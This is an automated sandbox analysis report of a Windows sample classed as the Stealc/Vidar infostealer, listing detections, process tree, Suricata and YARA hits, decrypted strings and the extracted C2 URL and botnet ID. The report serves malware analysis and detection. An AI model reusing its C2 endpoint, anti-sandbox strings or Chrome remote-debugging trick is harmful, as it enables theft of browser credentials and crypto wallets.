Edit tour

Windows Analysis Report
IeccNv7PP6.exe

Overview

General Information

Sample name:	IeccNv7PP6.exe renamed because original name is a hash value
Original sample name:	621b2c50b6826eacc84dc510f890fe48.exe
Analysis ID:	1562754
MD5:	621b2c50b6826eacc84dc510f890fe48
SHA1:	892378a26c3612c91e75fb0fa2614c4f33c42f9d
SHA256:	9f0211ae5c3912eb204d513f0f6341bf5634d6d021db76a4247510e2c4d107be
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

IeccNv7PP6.exe (PID: 7424 cmdline: "C:\Users\user\Desktop\IeccNv7PP6.exe" MD5: 621B2C50B6826EACC84DC510F890FE48)

795F.tmp.exe (PID: 7684 cmdline: "C:\Users\user\AppData\Local\Temp\795F.tmp.exe" MD5: 73ADCB1012B382B6194C34B5CF277C9E)

chrome.exe (PID: 7916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2396,i,7018353345002748784,17151017752572951290,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

WerFault.exe (PID: 6428 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7684 -s 2368 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://92.255.57.88/7bbacc20a3bd2eb5.php", "Botnet": "551488411"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2393908794.0000000000730000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7581:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000003.1881236653.00000000022F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.4138092342.0000000002DAD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xc40:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000002.2394052195.0000000000810000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2394052195.0000000000810000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: 795F.tmp.exe PID: 7684	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 795F.tmp.exe PID: 7684	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 795F.tmp.exe PID: 7684	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 795F.tmp.exe PID: 7684	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.795F.tmp.exe.810e67.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.795F.tmp.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.795F.tmp.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.3.795F.tmp.exe.22f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.795F.tmp.exe.810e67.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.3.795F.tmp.exe.22f0000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\795F.tmp.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\795F.tmp.exe, ParentProcessId: 7684, ParentProcessName: 795F.tmp.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7916, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T00:07:25.936007+0100	2044245	1	Malware Command and Control Activity Detected	92.255.57.88	80	192.168.2.4	49734	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T00:07:25.812691+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49734	92.255.57.88	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T00:07:26.266479+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49734	92.255.57.88	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T00:07:27.331222+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49734	92.255.57.88	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T00:07:26.388369+0100	2044247	1	Malware Command and Control Activity Detected	92.255.57.88	80	192.168.2.4	49734	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T00:07:25.341415+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49734	92.255.57.88	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T00:07:27.781369+0100	2803304	3	Unknown Traffic	192.168.2.4	49734	92.255.57.88	80	TCP
2024-11-26T00:07:41.518868+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	92.255.57.88	80	TCP
2024-11-26T00:07:43.528765+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	92.255.57.88	80	TCP
2024-11-26T00:07:44.894059+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	92.255.57.88	80	TCP
2024-11-26T00:07:46.039420+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	92.255.57.88	80	TCP
2024-11-26T00:07:49.780511+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	92.255.57.88	80	TCP
2024-11-26T00:07:50.927879+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	92.255.57.88	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T00:07:18.638776+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	172.67.179.207	443	TCP
2024-11-26T00:07:20.404211+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49731	176.113.115.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://post-to-me.com/track_prt.php?sub=0&cc=DE9

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Avira: detection malicious, Label: HEUR/AGEN.1306956
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1306956

Found malware configuration

Source: 00000002.00000003.1881236653.00000000022F0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://92.255.57.88/7bbacc20a3bd2eb5.php", "Botnet": "551488411"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: IeccNv7PP6.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: IeccNv7PP6.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: 26
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: 11
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: 20
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: 24
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetProcAddress
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: LoadLibraryA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: lstrcatA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: OpenEventA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CreateEventA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CloseHandle
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Sleep
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: VirtualFree
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetSystemInfo
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: VirtualAlloc
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: HeapAlloc
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetComputerNameA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: lstrcpyA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetProcessHeap
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetCurrentProcess
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: lstrlenA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: ExitProcess
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetSystemTime
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: advapi32.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: gdi32.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: user32.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: crypt32.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetUserNameA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CreateDCA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetDeviceCaps
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: ReleaseDC
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: sscanf
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: VMwareVMware
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: HAL9TH
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: JohnDoe
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: DISPLAY
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: http://92.255.57.88
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: /7bbacc20a3bd2eb5.php
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: /7550b1c08332241a/
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: 551488411
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetFileAttributesA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: HeapFree
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetFileSize
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GlobalSize
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: IsWow64Process
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Process32Next
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetLocalTime
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: FreeLibrary
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetVolumeInformationA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Process32First
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetLocaleInfoA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetModuleFileNameA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: DeleteFileA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: FindNextFileA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: LocalFree
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: FindClose
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: LocalAlloc
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetFileSizeEx
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: ReadFile
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SetFilePointer
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: WriteFile
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CreateFileA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: FindFirstFileA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CopyFileA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: VirtualProtect
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetLastError
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: lstrcpynA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: MultiByteToWideChar
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GlobalFree
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: WideCharToMultiByte
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GlobalAlloc
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: OpenProcess
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: TerminateProcess
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetCurrentProcessId
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: gdiplus.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: ole32.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: bcrypt.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: wininet.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: shlwapi.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: shell32.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: rstrtmgr.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SelectObject
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: BitBlt
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: DeleteObject
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CreateCompatibleDC
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GdiplusStartup
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GdiplusShutdown
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GdipDisposeImage
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GdipFree
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CoUninitialize
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CoInitialize
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CoCreateInstance
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: BCryptDecrypt
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: BCryptSetProperty
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: BCryptDestroyKey
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetWindowRect
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetDesktopWindow
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetDC
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CloseWindow
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: wsprintfA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CharToOemW
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: wsprintfW
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: RegQueryValueExA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: RegEnumKeyExA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: RegOpenKeyExA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: RegCloseKey
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: RegEnumValueA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CryptUnprotectData
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SHGetFolderPathA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: ShellExecuteExA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: InternetOpenUrlA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: InternetConnectA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: InternetCloseHandle
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: HttpSendRequestA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: HttpOpenRequestA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: InternetReadFile
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: InternetCrackUrlA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: StrCmpCA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: StrStrA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: StrCmpCW
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: PathMatchSpecA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: RmStartSession
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: RmRegisterResources
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: RmGetList
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: RmEndSession
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: sqlite3_open
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: sqlite3_step
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: sqlite3_column_text
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: sqlite3_finalize
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: sqlite3_close
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: sqlite3_column_blob
